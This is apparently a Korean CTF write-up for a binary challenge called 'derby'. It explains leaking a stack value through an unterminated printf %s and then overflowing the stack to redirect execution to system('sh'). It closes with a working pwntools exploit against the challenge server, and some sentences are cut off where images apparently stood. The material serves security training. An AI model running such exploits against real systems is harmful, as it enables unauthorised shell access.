derby문제에서 아이다로 확인을 하면, 큰 입력을 받는 부분(read(0,s,0x134u)이 game()&&(unsigned int)score > 0x1D979의 if문을 통과해야 도달할 수 있다.
game()이 참이 되려면, game함수에서 return값이 1이 되어야 하고, 이는 7번 메뉴를 선택해야 한다. 7번 메뉴는 숨겨진 메뉴라고 볼 수 있다.
score또한
조건을 만족해야 하므로, 100%의 확률로 도달할 수 있는 것은
이때 read함수로 입력을 크게 받으므로 return address까지 덮을 수 있다.
하지만 문제는
이 부분을 통과해야 조작한 리턴 어드레스에 도달할 수 있다는 점이다. 우리는 random_bak에 적힌 값을 알아야 한다.
read(0,s,0x134u)부분에서 s는 bp-124h에 존재하고, buf는 bp-20h에 존재하므로, buf도 덮을 수 있다.
하지만 buf에 담긴 값과 random_bak에 담긴 값이 같아야 하므로, random_bak에 적힌 값을 릭 해내야 한다.
그런데 처음에 random_bak=buf이므로 처음에 buf에 담긴 값을 알아내는 것과 같다.
이
read(0, nptr,4u)로 nptr에 값을 입력 받는데 4글자까지 입력 받을 수 있다.
그리고 nptr에 적힌 문자를 숫자로 바꿔서 v8에 저장을 하는데, v8은 1혹은 2이어야 한다.
그리고 printf(“Your input : %s\n”, nptr); 부분에서 nptr이 4바이트이고 뒤 바이트가 바로 뒤에 있다면 널바이트가 나올 때까지 %s로 출력을 해준다.
따라서, nptr뒤에 있는 buf부분(random_bak)도 알아낼 수 있다.
그래서 나는 팀을 정할 때 “1ppp”를 넣어주었다.
그러면 v8은 숫자인 1까지만 인식하므로 v8에 Invalid value를 선택하지 않은 것처럼 된다.
그리고 1ppp뒤에 나온 4바이트가 buf의 4바이트인것이다.
그래서 read(s, 0, 0x134u)에서 memcmp를 통해 random_bak과 비교하는 부분에 알아낸 4바이트로 채워주고 리턴어드레스를 system함수와 “sh”로 덮어서 쉘을 딸 수 있었다. 하
지만 중간에 인자가 이상해서 입력이 제대로 들어가지 않거나 중간에 오류가 나오는 경우들이 있었다. 이러한 경우에는 레지스터를 살펴봐서 적절한 인자 값을 넣어주면 된다.
from pwn import*
import time
s=remote('cykor.kr',10001)
s.recvuntil("> ")
s.send("1ppp")
s.recvuntil("input : ")
a=s.recv(4)
a=u32(a)
b=s.recv(4)
b=u32(b)
s.recvuntil("> ")
s.send("2\n")
s.recvuntil("> ")
s.send("7\n")
s.recv(1024)
payload="b"*0x104+p32(b)+"A"*8+"\x58\xb0\x04\x08"+"A"*20+"\xd0\x85\x04\x08"+"\xef\xbe\xad\xde"+"\x08\x8e\x04\x08"
s.send(payload)
s.interactive()
'시스템 해킹 > cykor' 카테고리의 다른 글
2015410212-64비트 쉘코드, 간단한 xor (0) | 2018.01.02 |
---|---|
rain_dROP-카나리 릭, 메모리 릭 (0) | 2018.01.02 |
2015410208-got overwrite (0) | 2018.01.02 |
daRk_TempLer-read함수의 null (0) | 2017.12.29 |
catchme-노가다, 스택버퍼오버플로우 (0) | 2017.12.29 |